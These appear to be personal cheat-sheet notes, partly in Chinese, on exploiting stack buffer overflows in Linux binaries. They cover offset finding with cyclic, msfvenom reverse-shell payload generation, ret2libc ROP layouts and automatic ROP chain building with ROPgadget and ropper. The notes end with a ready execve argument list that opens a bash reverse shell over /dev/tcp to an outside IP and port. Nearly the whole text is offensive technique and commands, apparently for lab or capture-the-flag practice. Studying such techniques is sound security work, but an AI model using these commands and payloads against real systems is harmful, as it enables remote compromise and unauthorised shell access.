buf overflow
- info
checksec --file=glibc.so - 溢出时eip在输入的位置
cyclic n
cyclic -l xxxx
no nx
msfvenom -l payloads|grep linux
msfvenom -p linux/x64/shell_reverse_tcp -f python
nx no aslr
ldd glibc.so -> fixed base addr
nx aslr pie x64:system('/bin/sh')
- leak base/func addr
- 布局:
pop edi; ret
&/bin/sh
&system
ret addr - 搜索:
ROPgadget --binary glibc.so --only 'edi|ret'
ROPgadget --binary glibc.so --string "/bin/sh"
readelf -s glibc.so |grep system
nx aslr pie x64:reverse shell
- 只需泄露基址即可,字符串都是栈上构造的。
- 生成execve('/bin/sh',0,0):
ROPgadget --binary glibc.so --chain --offset base
ropper --file glibc.so --chain "execve cmd=/bin/bash" #ropper支持execve/mprotect/virtualprotect生成 - 再改造加入反弹shell命令:
execve('/bin/bash', ['/bin/sh', '-c', 'sh -i>&/dev/tcp/10.10.14.32/8881 0>&1',0], 0) - 注意:
部分系统/bin/sh链接到dash,不支持>&语法,所以要调用bash。
execve的argv参数第一个要写一个占位,程序里argv[0]就是获取的这个值。